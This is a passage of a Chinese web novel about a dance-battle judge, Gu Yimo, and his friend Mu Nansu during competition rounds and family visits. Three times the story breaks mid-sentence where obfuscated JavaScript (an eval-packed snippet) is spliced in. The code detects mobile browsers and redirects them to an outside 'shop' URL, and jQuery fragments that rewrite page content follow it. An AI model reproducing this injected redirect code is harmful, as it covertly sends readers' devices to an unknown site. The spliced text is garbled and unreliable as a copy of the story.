顾以默早已习惯了这位女士的冷漠，抱着臂自己四处闲逛着衣服，路过试衣间的时候却刚好和换好衣服出来的木南苏对视。 木南苏没想到会碰见顾以默，收了收笑小声问他：“怎么样？合适吗？” 闻言顾以默停下脚步歪头上下打探木南苏一番，勾唇点头开口打趣：“嗯......还真是看上去更好骗了......” “滚！”木南苏不理会这嘴欠的家伙，转过身和店员要了大一码的，又重新回到试衣间换回自己的衣服。 顾以默笑笑，继续逛着衣服，在看到老妈拿着一件脏粉色卫衣朝他走来的时候，瞬间有种不祥的预感。 一分钟后，顾以默看着镜子里的自己，出乎意料地居然有点好看，刚准备转头问木南苏怎么样，手里的手机响了起来。 他看到来电显示“李尚”的时候，眉头不自觉地皱起，愉快的心情瞬间变得烦躁，但还是碍于情面接通：“喂，有事吗？” “你能出来一下吗？我这边有事想拜托一下你。”李尚的语气充满恳求，好像有什么重要的事情找他。 顾以默感到奇怪向后看去，果然在店门口看到了李尚的身影，身旁还站着卢择。 见状他冷笑一声，看来这人不傻，还知道找帮手........ 顾以默挂断电话，回到试衣间换掉衣服，跟木南苏打声招呼便往门口前去。 “用不用我陪你去？”木南苏皱眉担心道。 顾以默被木南苏这句话逗笑，他其实本身不想去，看在卢择的面子才答应的。 手痒似的揉了揉木南苏的头笑道：“又不是去打架，你去干什么？而且带你打架，我又要被扣上教坏你的帽子。” 在他拍开自己之前收回手，将脖子上的裁判证挂到他脖子上。 “你要是害怕，就拿着这个，我很快回来。”顾以默说完便朝着门口走去。 木南苏呆呆地看着顾以默的背影，缓缓伸出一只手拿起胸口处的裁判证，死死攥住不舍松开...... 20. battle复赛 跟着他们来到商场门口，顾以默有点不耐烦，紧皱眉头站在原地不再往前走，“要是没事我就回去了，没空陪你们逛街。” 李尚见顾以默往回走，赶紧伸手拦住他笑道：“老顾，前几天真的不好意思......那天之后我已经狠狠批评过DK了，你看能不能别把私人恩怨带到比赛里，然后对DK多照顾一下，毕竟他popping方面确实不太擅长。” “你不去讲冷笑话可惜了。”顾以默对李尚嗤笑，懒得和他废话，把兜里的烟盒扔给卢择，接着电话转身就走。 卢择接过烟秒懂，无奈拍了拍李尚，“你触碰到他的逆鳞了，我都不敢在比赛当中拜托他照顾谁。”语毕并没有像顾以默那样转身就走，而是和他在门口岔开话题闲聊。 毕竟李尚是付宵凡的师兄，把关系闹僵真的不好。 卢择从手里拿出一支眼，递给李尚一支拿出打火机点燃，和他有一句没一句地缓和关系。 “妈怎么了？你找我有什么急事？”顾以默慌慌忙忙赶到商场楼上的餐厅问道。 顾妈妈被问得一脸迷茫，将嘴里的面咬断口齿不清地回答说：“我没什么事啊，是苏苏找你。” 顾以默闻言有点懵地看向在旁边吃饭的木南苏，刚打算开口问他，手机响起消息提示音。 【木南苏】：我刚才看你挺不愿意去，就和干妈说你走丢了，让干妈帮忙把你叫回来。 ...... 顾以默看着手机，脑补到了木南苏故装可怜和两位妈妈说他走丢的样子，画面莫名充满喜感，实在没忍住笑了出来。 “笑什么笑！”正在对顾以默说教的顾妈妈见状用筷子敲了一下他的头，严肃地和他说，“多大个人了，还能走丢！” 顾以默低头不敢反驳，等老妈说够了趁着她不注意拿起面前的筷子，泄愤似的从木南苏碗里夹走一块肉塞进嘴里囫囵咽下。 还没来得及嘚瑟，他却眼睁睁看着木南苏夹走他碗边的半个鸡蛋，从容不迫地咬了一口放进自己碗里，似乎料定了他不会再抢回去...... “你就这么对待裁判的吗？”顾以默极其不满地对他抱怨。 木南苏不以为然，将嘴里的饭咽下后缓缓开口：“我只是等量交换。” 去你的等量交换！ 顾以默在内心咆哮，但碍于对面有两位大佛在场，他不敢做太多反应，只好将怨气和面一起吞到肚子里。 不紧不慢吃完饭，顾以默先行一步回到比赛现场，接过卢择丢在桌上烟盒放进兜里，嬉皮笑脸地对他道谢。 “下次遇到这种事你自己处理，再这样我按分钟收费！”卢择站在顾以默旁边哀怨地咆哮，拿过他桌子上的水拧开喝了一半。 他从没见过李尚这么能聊的人.......如果不是他找个比赛快开始的借口，这人快把家底给聊出来了！ 卢择瞪着顾以默，又喝了口水润嗓子。 顾以默将裁判证戴在脖子上，厚着脸皮开口捧他：“在处理人际关系这方面，谁能比得过师兄？”说着走向检录处，拿起hiphop组对阵表递给跟着自己一起来的卢择，让他选人。 在翻看其他两组对阵表的过程中，顾以默在popping组看到沈一川和卞澈互选这一情况有些吃惊，转头看向此刻正窝在角落打游戏的两个人更是疑惑。 “估计这俩人打赌了吧，谁赢了送谁皮肤之类的，你不在的这几天他们合训就是这样。”卢择见状习以为常地和他解释，挑了个实力相当的选手在后面写上自己的名字。 顾以默无奈地摇头笑笑，掏出手机看时间，估摸着木南苏又被两位妈妈拉去逛街，一时半会脱不开身，给他发信息得到许可后替他选人。 拿起笔第一反应就是找DK，却发现他有人选了，顾以默这才想起DK在popping方面是短板这件事人尽皆知。 毕竟没人会想放走可以躺赢的机会。顾以默冷笑看向其他选手，发现选谁都觉得像是以强欺弱。 他只好把木南苏的名字写在DK那一组下方的空白处，等别人来挑选木南苏。 如果DK和木南苏同时晋级，他们刚好可以在八分之一决赛分胜负。 顾以默心里这么盘算着，听见身边传来一声带有调侃意思的轻啧，奇怪地看向一旁。 卢择带着起哄语气对他说：“看不出来啊老顾，考虑挺周全，我怎么就没这待遇？” 顾以默懒得搭理他，金口玉言赏了一个滚字，转身拿着breaking组的对阵表坐回位置，在心里猜测谁会晋级。 “好的，我们的两位选手已经各自就位，breaking组的复赛正式开始，DJLet''sgo！”MC的声音伴随着beat的前奏响起，左边的选手踩着节奏面朝对手灵活地舞动着，对战的气氛瞬间拉满。 不同于观众看热闹的心情，顾以默此刻双手交叉支撑下巴，紧盯选手们的动作，不敢松懈。 battle环节虽说精彩，但也是非常容易发生意外事故的环节，有些选手会违规发生肢体接触，还有的用羞辱性动作去恶意攻击对方，严重的双方还会当场大打出手。 这种情况虽说少见，但顾以默这些年参赛和当裁判也不是没见过，所以他在评判动作的同时也会稍微注意这些，一旦发现不对也能及时叫停比赛。 好在顾以默担心的意外并没有发生，反倒在这场复赛发现不少有潜力的人，让他在二选一的时候出现过不少纠结的情况。 程度不亚于用忍痛割爱这四个字形容。 breaking组复赛的最后一场其中一位选手是卞澈，顾以默看他走向舞台区域，想起卢择嘱咐自己要以世界冠军的水平要求卞澈，达不到就淘汰掉。 要不要逼得这么紧.......顾以默在心里叹气，对卞澈轻微点头让他加油。 卞澈收到来自师叔的鼓励，傻傻朝他一笑，随后寻着节奏进入状态。 一个回合结束，顾以默紧皱眉，他发现卞澈的动作明显出现不少重复和失误，应该是紧张导致的...... 顾以默沉下心看完第二回合，发现卞澈的紧张只增不减，如果让他以这样的状态在breaking组继续往下参加比赛，绝对不是个好的选择。 出于各方面的考虑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848841|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，最终他还是把卞澈淘汰...... 顾以默不忍心看卞澈失魂落魄，拿出手机给他发了一句话。 【顾以默】：卞澈，你刚才表现很好，只是你的状态有问题才把你淘汰的。要是一会在popping组赢了沈一川，我就满足你一个愿望，说到做到。 “看不出来，你还有这么暖的一面。” 突然身后传来这个不大不小的声音，顾以默吓得转头看去，木南苏正浅笑着看着他，赶紧把手机锁屏故作无事发生。 木南苏见状被逗笑，拿过popping组的对阵表看一眼，对顾以默道了声谢，“我......刚才陪阿姨和我妈逛街，然后她们给我们买了鞋子，你一会去看看。” 顾以默点头，突然想起什么对木南苏说：“把你手机给我一下，中午的饭钱我还没给你。” “我......我手机没电了！”木南苏闻言笑容缓缓僵住，磕磕巴巴找了借口推辞，“我我我突然想上厕所，你直接发我就行......” 顾以默看着木南苏急忙溜走的背影，挠了挠头不知道发生什么事，只当他着急上厕所便没有在意，转身看向桌子上的对阵表。 木南苏跑到没人注意他的地方，深深吐了口气掏出手机，无视顾以默的转账关机，伪造手机没电的现象。 感受到关机震动，木南苏心里的紧张感逐渐退散，随即许久未见的不安情绪却在放大。 他不动声色地来到顾以默身边，不安才逐渐缓解下去...... “是身体不舒服吗？”顾以默看向蹲在自己旁边的木南苏，见他脸色不太好悄声问道。 木南苏摇头朝他一笑，“没事，可能比赛有点紧张。” 他当裁判很吓人吗？怎么一个两个今天都那么紧张.......顾以默逐渐陷入沉思，在自我怀疑的情绪中开始popping组的复赛。 几轮让他内心毫无波澜的比赛过后，顾以默看到下一组是两个徒弟的对决，看着台上握手碰肩的两个人，他真的担心卞澈会因为刚才的发挥失去自信。 结果顾以默发现，是他多虑了。 卞澈非但没有受到影响，动作编排和其他各方面完全都在压着沈一川，让他毫无束缚之力...... 这是.......什么情况？ 顾以默满脸懵地看完这场比赛，他能感受到沈一川全程都在努力拉回局面，但还是没法阻止卞澈的碾压式胜利。 把目光移到舞台旁边的卢择身上，见他紧皱眉头满脸严肃，顾以默知道他此刻在强忍住怒气，确保不让自己当众发火。 顾以默见状也猜到了大概，轻叹口气在心里祈祷卢择能等复赛结束再训徒弟，这样他还能去劝几句。 心情复杂地低头看向对阵表，下一组就是DK......他抬头看向舞台，却见DK找MC要来麦克风，对他请求道：“裁判我想先暂停一下比赛可以吗？” 顾以默没有给回应，抱臂看他想干什么。 DK也没指望顾以默可以回答他，坚定地伸手指向木南苏宣战：“我想将对手换成木南苏，希望裁判可以同意。” 21. 战 此话一出，选手们看好戏的起哄声四起，瞬间响彻整个商场。 “DK牛逼！” 不知是谁带头喊出的这句话，却带动了几乎全场的选手和观众一同跟着高喊，仿佛在佩服DK的勇气。 顾以默紧盯在台上的DK，他似乎很享受这种被人捧上天的滋味，嚣张地认为自己已经成为了万人之上。 不耐烦地轻啧一声，顾以默看向不远处的木南苏，却被看到的场景逗笑。 木南苏正盘腿坐在地上来回打量手里的奶茶，思考着怎么把里面加的配料吃干净。 感受到某个角度投来的目光，他抬眼看去，顾以默正带着笑意给他使眼色。 木南苏愣了愣神，耳朵有些发烫，顺着顾以默的眼神看去，才发现舞台上要和自己battle的DK，站起身抬步走向舞台。 顾以默见状秒懂，收回眼神拿起笔在对阵表做修改，眼前却出现一杯......奶茶的混合配料？ “干什么？这么敷衍的贿赂我还是第一次见。”顾以默带着疑惑抬头看向木南苏，不解地指了指桌上的杯子，“你要送礼起码也得送一杯完整的奶茶吧。” 准备上场的木南苏转头看他，无辜地朝他眨眼笑道：“我敢送你敢喝吗？你要是喝住院我可不负责。” 顾以默抬头瞪木南苏，在心里把他从头到脚骂了一遍，将桌子上的奶茶拿起放到桌子下方，破例充当起物品存放处，摆摆手示意让他赶紧上台。 见木南苏走进舞台区域，顾以默身体微微前倾，认真看着台上的对决。 DK率先跟着节奏以一个身体wave和roll的结合抢先木南苏一步，似乎想给他一个下马威，结果因为动作节奏和beat的节奏安排不合理，频繁出现错拍和掉拍。 他慌乱补救，一个pop勉强将整体节奏调整，继续顺着beat跳着动作。 顾以默一眼看出DK这套动作除了强行拉回节奏的pop，完全没有一点freestyle的成分...... 他眉心皱起，同时感到震惊。 比赛这么多年，他只在表演赛上见过这个情况，正常的freestylebattle环节顾以默还真是头一次见有人完全用编排好的动作参赛。 况且，这编舞的节奏一看就不是DK自己的风格。 平日里，他也会针对battle环节给自己和沈一川设计动作，但只局限于框架和某些动作的衔接，在比赛中还是要靠着自身能力的临场发挥。 顾以默心生烦躁，他强忍住想暂停比赛的冲动，直接拿笔低头在晋级那一栏写上了木南苏的名字，随后听到MC的指令，抬头有些期待木南苏的表现。 木南苏全程的动作依旧可以用一个“顺”字概括，尤其是在做roll和pop结合的时候，明显动作比之前放得开，张力比之前也强许多。 最主要的，他全程的动作衔接和编排，顾以默从没见过木南苏有练习。 两个回合结束，木南苏的表现和顾以默的期待虽然有些落差，但吊打DK也足够了。 “耽误大家一分钟的时间，我说一件事情。”顾以默找MC借来麦克风，转过身单手撑桌面对着身后的选手，严肃地说道，“往后的几轮比赛，我希望各位选手去理解一下freestylebattle这个环节究竟是什么意思。” 不理会选手们的猜测和议论，他又继续说：“我不管你们之前是怎么参赛的，在我这里如果你们不尊重舞台和对手，那就别说我不尊重你们。”说完便将麦克风还给MC礼貌道谢，坐回椅子面朝舞台，等着下一组选手。 对于木南苏晋级这个结果没有人敢再起异议，反倒议论声变成掌声。 顾以默冷笑，趁着木南苏来拿奶茶的时候和他耳语：“不要理会那些和你打招呼的人，直接去找沈一川就好。”说完指了指正在一旁傻笑鼓掌的沈一川。 “嗯。”木南苏轻轻点头，“谢谢。” 顾以默见他这副乖巧模样，没忍住又摸了摸他的头，“不用谢我，应该谢你自己，我只是给你堵嘴的机会而已，但你刚才的表现也就仅限堵嘴。” “那下次有机会比试一番？”木南苏收起感动，就知道他憋不出什么好话，拍开他的手弯下腰躲着摄像机前往另一边。 顾以默闻言愣了一秒，回过神来勾唇，在心里应好。 木南苏刚走到沈一川面前就被他拉住，激动地说：“前师爹，你都不知道DK刚才从我面前走过的时候，脸都被气得扭曲了。” “对对对，我也注意到了！”在一旁的卞澈也加入群聊，“而且师叔刚才的那句话，真的太帅了！” 木南苏再次听见“前师爹”这个称呼本想开口纠正，但见沈一川叫得挺顺口，便把这个想法丢弃，和他们聊着天，“对了，你们知道海选的时候，顾以默为什么发脾气吗？” 卞澈若有所思地想到了什么，不确定地开口说道：“我记得.......当时好像有人在说南苏哥你和师叔那个什么.......所以就觉得比赛肯定你是内定的冠军.......” 沈一川也跟着点头，“我当时不知道，但是在卫生间听到过有人在说这个.......前师爹你千万别往心里去！他们就是嫉妒你！” 木南苏怔住，缓缓转头看向正在和工作人员交谈的顾以默，心情有些复杂。 顾以默此刻正无语地看着手机，卢择突然临时有事要回舞社，所以和卢择对战的选手直接晋级，他正在和工作人员确定hiphop组的比赛。 感受到一阵心烦，顾以默从兜里拿出一支烟，叼在嘴里没有点火。 片刻后，hiphop组的复赛开始，他将嘴里的烟取出放进兜里，重新坐回位置，拿起笔继续集中精力工作...... 选手越比越少，对阵表上的字越写越多。 晚上九点，比赛进入到了最后的结果揭晓阶段，选手和观众即便尽显疲惫，但还是往舞台前凑，期待可以亲眼看到冠军的诞生。 顾以默看着面前的对阵表被他写得满满当当，心道终于结束了。 他起身走到舞台中间，站到卞澈和木南苏中间，伸手抓住他们的手腕决定popping组的冠亚军。 木南苏被抓住手腕的那一瞬间身体立刻紧绷，不动声色地看向抓住他手腕那只有力的手，心里萌生出一个也许这辈子都实现不了的愿望....... 顾以默脑海里回放着他们刚才的表现，在MC倒计时结束的一瞬间高举右手。 “恭喜木南苏成为本赛区popping组的冠军！恭喜卞澈成为本赛区popping组的亚军！” 感受到木南苏诧异的眼光，顾以默没有做过多解释，轻道了声恭喜，拿过工作人员递来的奖杯放到他手里。 木南苏木讷地接过奖杯，轻声回了声谢，紧握着奖杯目光却跟着顾以默走。 顾以默拍了拍身旁的卞澈，笑着鼓励让他加油，掏出手机拍照发给了卢择。 例行拍完大合照，顾以默和工作人员交谈完毕后，连忙拦住准备往外走的沈一川和卞澈，问他们的住宿问题。 “我们可能住酒店吧。”沈一川抱着卞澈的奖杯不确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848842|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定地回答道，说完和卞澈一起在手机上挑选酒店。 顾以默闻言皱眉，用胳膊肘碰了一下在身旁发呆的木南苏，“你家今天能住吗？” “啊.......”木南苏如梦初醒，懵懵地眨眨眼回答道，“可以。你是要让他们住家里吗？” 顾以默点头，感受到木南苏有些情绪不高，奇怪问道：“上次你得亚军不高兴我能理解，这次得冠军怎么感觉比上次更不高兴？” 木南苏摇头，朝他挤出个笑容表示自己没事，怕顾以默再问问题，便往门口走去。 今天到底怎么了....... 顾以默觉得木南苏一下午都怪怪的，想了想还是有些担心，和沈一川说了他们家的地址后赶忙顺着木南苏离开的方向追去。 来到商场门口，顾以默一眼就看见木南苏正低着头坐在花坛旁边，神色有些沮丧。 他将手伸进衣兜，正好摸到一支棒棒糖，随意地走到木南苏面前，吊儿郎当地对他问道：“弟弟，自己一个人？要吃棒棒糖吗？” 说完就把棒棒糖掏出，放到木南苏眼前。 木南苏缓缓抬起头，顾以默这才发现他眼眶有些泛红，心中地震坐到他旁边，“怎么了？” 木南苏小声反问道，“你今天发火是因为我对吗？你是不是也听到‘我靠着和你上床拿冠军’这种话了？” 顾以默愣住，他没想到木南苏会直接说出口。 将手里的棒棒糖塞进他手里，顾以默从衣兜拿出一支烟放进嘴里，口齿不清地回答他的问题：“是、听到了。” “那.......” “那又怎样？”顾以默打断木南苏的话，将嘴里的烟拿出夹在手里，“这些话影响你夺冠了吗？还是说你觉得他们说的是实话，你真的是靠我才夺冠的？” 木南苏看着顾以默手里的烟摇头，被逼问得只敢小声说，“都没有.......只是我以为你会为了减少舆论，会让卞澈当冠军。” 话音落下，一声满是轻蔑的哼笑表明了顾以默对这句话的不屑。 他偏头看着木南苏的侧颜，在心里感叹木南苏确实很好看，是像洋娃娃一样的精致乖巧。 依旧仅次于他吧，顾以默在心里自恋着。 “你的长相或许成为不了你成功的资本，但它不应该成为别人伤害你的武器。”顾以默轻声安慰着木南苏，“我小时候参加比赛，无论我成绩多好，圈子里的人几乎都会说我是沾了师父的光，说我离开师父其实连屁都不如。” 木南苏缓缓转头看向顾以默，安静地听他叙说自己的经历。 说到此处，顾以默想到曾经自己的样子，笑着对木南苏回忆：“后来长大懂得回击了，有次我就一手抱着奖杯一手在台上指着他们大喊‘我就是有一个好师父怎么着！我的运气也是我实力的一部分，你们就是因为奈何不了我的实力，才拿我的运气作为你们逃避自己失败的借口！’” 木南苏脑补到了顾以默说这些话的模样，不禁笑着感慨：“我终于知道沈一川的狂是和谁学的了。” “那小子叫盲目自信。”顾以默无语地吐槽徒弟，随后看向木南苏说，“不要把舆论当回事，你又不靠这些赚钱，以后出门比赛就写四个字在脸上。” 闻言木南苏有些疑惑：“哪四个字？” “不服？来战！”顾以默笑道，将手中的烟重新放进嘴里起身准备走，“走吧，沈一川他们现在应该快到了。” 木南苏见状张了张嘴，想问他关于烟的事情，思来想去没有问出口，而是将棒棒糖拆开放入嘴里，和顾以默一起并肩走着。 22. 夜晚 来到家门口，顾以默没有见到沈一川他们的身影，担心他们迷路便拿起手机准备打电话。 “不用打了，你听我们家里的笑声。”准备拿钥匙开门的木南苏开口阻拦道，“走吧，他们就在我家里。” 顾以默放下手机仔细听，沈一川那极有辨识度的笑声传入他的耳朵，心生好奇地和木南苏一起进家门，想一探究竟。 “他绝对不会和你们说这些事！”顾妈妈带着笑意说道，“顾以默被扣西瓜皮这还算小的，我记得他们有一次好像抢酸奶，然后顾以默把苏苏的酸奶喝了一半，结果苏苏生气了，边哭还边捏着酸奶，挤顾以默一脸。” 沈一川听完直接大笑，转头看见在门口黑着脸的两个人连忙坐直憋笑，磕磕巴巴喊了声师父。 顾以默强撑着碎了一地的包袱对沈一川点头，转头满脸哀怨看向老妈，在心里求着她可以口下留情...... 顾妈妈没有理会他的表情，但也没有继续揭他的老底，拿起桌上的水喝了一口对着顾以默说：“今天你爸加班不回来，你们正好可以去家里住，我们不打扰你们。” 顾以默应好，转身开门提前预判到话题，贴心提醒：“走吧，给今天的冠军留个面子，再不走你们会听到他小时候一系列哭包行为。” 木南苏闻言瞪他，连句话都懒得回，把奖杯放到门口桌子上，出门朝着顾以默家的方向走去。 沈一川和卞澈对视一眼，有点意犹未尽地起身和两位妈妈道了谢，将自己临时买的果篮和酸奶礼貌放下，抱着背包一前一后从顾以默面前，换上各自整齐摆放在门口的鞋子，朝门口走去。 “晚安，二位女士。” 顾以默走之前，十分贴心提醒两位妈妈注意黑眼圈，看到自家老妈准备用东西丢他的动作，快速转身关门。 “你真是没有一顿打是白挨的。”木南苏在一旁吐槽，走上前帮他托住背包，方便他找钥匙。 顾以默笑笑，将钥匙掏出插入锁孔，带着他们进门伸手开灯。 “随便坐。”他将钥匙丢进门口的杂物盒，弯腰换鞋开口说，“你们直接穿鞋进去就行，不要紧的。” 沈一川和卞澈将自己刚穿好的鞋子再次脱下，规矩靠墙角放置。 见顾以默要给他们找拖鞋，沈一川连忙婉拒：“师父我们不用拖鞋！穿着袜子踩在地上凉快。” “行，你们怎么舒服怎么来。”顾以默笑笑，转头对正弯腰解鞋带的木南苏说，“你如果想换拖鞋的话，你的拖鞋就在柜子里，冰箱里有饮料，你们看看想喝什么。” 木南苏点头，将鞋子换掉摆好，取出拖鞋换上。 他轻车熟路走向冰箱，拿出三瓶可乐和一瓶矿泉水，递给两个正光脚站在客厅，四处打探的好奇宝宝。 “谢谢师父和前师爹！”沈一川开心接过道谢，对正在调空调的顾以默小声询问，“那个......师父我能去你房间看看吗？” 见顾以默同意后，他兴冲冲地顺着顾以默指的方向跑去，片刻后大喊着让卞澈一起来看。 卞澈奇怪地看向顾以默，征求同意之后闻声走去，随后一声感叹从房间里响起，“哇！南苏哥的房间贴满了奖状，师叔的房间摆满了奖杯，都是我这辈子都达不到的顶峰！” 顾以默被这动静逗笑，摇头打开手里的水，仰头喝了一大口。 他看向木南苏，两人相视而笑。 等他们的好奇心散去，顾以默把卞澈单独叫到客厅，抱臂坐在沙发上严肃地问他：“说说吧，今天breaking比赛的时候怎么回事？” 卞澈本想装傻，但也十分明白顾以默是在等着他自己承认，只好低着头一五一十全部交代，“师叔我......我不想同时参加两场比赛，但是师父发话了我又不敢不去.......” “所以你就故意示弱把自己淘汰？”顾以默替卞澈说了事实，无奈叹气道，“为什么不想参加两场比赛？” 卞澈被顾以默直面戳中心事，觉得有些羞愧地小声说道：“因为我只想把精力放在popping上......而且师叔你知道吗？我特别羡慕沈一川，最起码他很自由。” 顾以默愣住，被他的用词逗笑，随后无奈地说道：“你这词用的......其实你师父没你想得那么死板，别看他擅长处理人际关系，但在亲近的人之间他其实是很笨拙。” 卞澈缓缓抬头看向顾以默，张了张嘴没有发出声音。 顾以默继续轻声说，“其实你有什么想法可以直接跟你师父说，他一般都会理解你的。”说着放在桌上的手机响了，他拿起一看来电显示直接挂断，继续和卞澈聊天。 话还没说出口铃声却再次响起，顾以默站起身前去里屋，却在拐角处撞见本该在屋里的两个人。 沈一川被突然出现的顾以默吓得不轻，连忙和他解释：“师父！我我我我们没有听到你说师叔笨！” 瞎说什么大实话这小子！ 顾以默无语地看着他从自己眼皮子底下跑开，随后将视线缓缓移到装无辜的木南苏身上。 “你再不接电话一会就又被挂断了。”木南苏抱臂用下巴指了指顾以默手里的手机，好心提醒完也顺着沙发的方向走去。 把这两个人支开支了个寂寞...... 顾以默心情复杂地走到房间，吃一堑长一智地把门反锁，接通电话。 客厅里，木南苏听到关门的声音，开口问沈一川他们在自己房间里看到了什么。 两个人听完相互看了一眼，卞澈以为木南苏有些生气赶忙和他解释：“南苏哥，我们只是在你房间门口看了一眼，没有进去的！” “不是，你们就算进去也没事。”木南苏闻言意识到自己刚才有些急躁，笑了一下放缓语气重新问了一遍，“你们在我桌子上和书架上看见什么了吗？” 沈一川点头，“有！红的黄的都有！” 木南苏闻言面色有些慌张，在背后的手紧抓衣角，故作镇定地继续问：“那......桌子上放的是什么你知道吗？” “学习资料啊。”沈一川没注意到木南苏的不对，继续发声感慨，“前师爹你的学习资料好多，要是我妹妹看见应该会很高兴吧。” 本想着找机会揍沈一川一顿的木南苏闻言，心里有些不是滋味。 他听顾以默提过沈一川的家庭状况，他知道沈一川之前考上了高中但没去上，为了能让妹妹上学，沈一川才出来和顾以默学跳舞。 木南苏努嘴回想着自己书架上都放着什么东西，开口问沈一川：“你妹妹现在是准高一对吧？” 见沈一川点头，木南苏继续说：“我那里应该都是高中的资料，有时间你去我房间挑一下，给你妹妹寄家里吧。” 沈一川愣住，几秒后才反应过来反复确认，“哥，这真......真的可以吗？” 木南苏耐心地点头，抬眼看见顾以默玩着手机走出来，又补充道：“其实你师父学习也很好，每个阶段全班五六十个同学，他成绩稳稳地在班级前五，年级排名也很靠前。” 被点名的顾以默哼笑，只顾着打游戏头都没抬无所谓道：“彼此彼此，我们成绩根本没什么可比性，高低差也差不过十分。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848843|191437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话音落下，游戏结束，顾以默在沈一川和卞澈的一片感叹众握着手机伸懒腰，给他们安排房间准备睡觉。 “师父，你为什么不和前师爹睡一张床？”沈一川对躺在沙发上的顾以默提出疑问，在收到他的眼刀之后立马溜走，顺便帮他把客厅的灯关上。 木南苏闻言，进屋的脚步一顿，看他真的没有打算进屋里睡，有些疑惑：“你......” “没事，你又不是不知道，我那张床小。”顾以默双手放在脑后笑言，“高中的时候我们躺上面都不够躺，更何况现在？或者你要是不怕意外重演，也......” “嘭！——” 一声响亮的关门声打断这句没说完的话，他联想到此刻木南苏红着耳朵害羞的场景，笑意更深将头转过，平躺在沙发上。 夜深人静，顾以默身心疲惫，但始终无法入眠，只能偏头看着阳台老妈种的吊兰发呆。 刚才在房间里的一个小时，他接到了来自三个人的电话。李尚的道歉电话、卢择的通知电话、还有师娘的问候电话....... 顾以默缓缓坐起身，借着外面的亮光从电视机屏幕上看到自己的照影，轻轻叹气。 卢择刚才打电话和他说，老大催促他们赶紧准备团队赛，而且还要让他和木南苏没事多拍视频发到官博吸引学员。 还给他解释了自己中途退赛的原因，是因为得知师娘去舞社看他们，卢择觉得他们两个都不在有点不合适，所以慌忙买了机票飞回去。 这件事确实是他没处理好......顾以默干咽了一下，低着头在心里自责。 他参加世界赛之前以为自己可以夺冠，就提前和住在本地的师娘打了招呼，等比完赛就去看她。 比完赛后顾以默觉得结果不如意，于是他就一直用忙来当借口。 然而刚才，他在和师娘打电话的过程中听到最多的，却是一句又一句的安慰和约定...... 顾以默泪目，心里的思念和愧疚逐渐放大，胸口处的沉闷越来越重，他拿起一旁的抱枕捂住嘴，情绪崩溃地闷声大哭。 几天过后，他们提着大包小包来到高铁站。 顾以默看着眼圈泛红还嘴硬的老妈，张开双臂抱住她，轻声安慰：“您都让木南苏督促我了，还担心我不回来吗？” “谁稀罕你回来！你不回来我和你爸过得有不知道多滋润！”顾妈妈伸手狠狠拍了一下他的背，却没舍得放手继续嘴硬，“我那是让你把苏苏送回来！” 顾以默听出来老妈话语中的哭腔，眼前也逐渐模糊，但还是半开玩笑和她说：“你既然都这么说了，那我就只能谨遵太后谕旨了。” 在一旁和木南苏交代完注意身体的木妈妈，也红着眼眶走了过来，“好了，孩子们的高铁要开了，你再不让走就赶不上了。” 顾妈妈闻言一把将顾以默推开，擦着眼泪朝他挥手，拉着木妈妈转身，每走一步心里的不舍多一分。 最终实在忍不住，顾妈妈紧咬手指不让自己哭出声，和同样在偷抹眼泪的木妈妈加快脚步朝着门口走去。 顾以默走到木南苏身边，目送两位妈妈走出高铁站，强忍着不舍转身准备进站，却发现木南苏此刻正红着眼眶低着头，没有要走的意思。 “走吧，再不走就迟了。”顾以默拍了拍他的肩膀，从兜里东找西翻再次拿出一根棒棒糖给木南苏。 接过棒棒糖，木南苏觉得奇怪，“你以前也没有随身带糖的习惯，怎么感觉你的棒棒糖跟吃不完一样？” “保密。”顾以默对他笑道，朝前走去。 23. 师娘 刚下高铁，卞澈捂着肚子，匆匆忙忙拽着沈一川直奔高铁站的卫生间。 顾以默无语，再次充当起了物品存放处，和木南苏坐到候车室给他复盘上一场的比赛。 讲得正认真，手机铃声响起，顾以默连看都不用看就知道是卢择打来的，任由着他反复挂断又打来。 从他们上高铁的那一刻起，卢择的催促就没断过，还把他们四个轮流催了好几遍。 发完消息还没来得及回就打给他们电话问到哪了，如果不是没有什么新闻播报，顾以默都差点以为是舞社着火了....... “你催什么催！还怕我把你徒弟给拐.......”顾以默终于忍不下去，接通电话就就大声咆哮着，在听到一个温柔的女声瞬间灭火，“师娘......我我我我没有凶您。” “你们两个呀，什么时候才能安安稳稳的？”电话那边的师娘很是无奈，但话语中带着满满的笑意继续说，“晚上有时间吗？一起到家里吃个饭怎么样？正好我有东西要交给你们。” 顾以默闻言连忙点头，随后想起什么被自己的举动逗笑，开口应好。 等师娘把电话挂断，顾以默看向一旁对自己欲言又止的木南苏，见他紧紧抿嘴的样子，顾以默都担心他被憋坏。 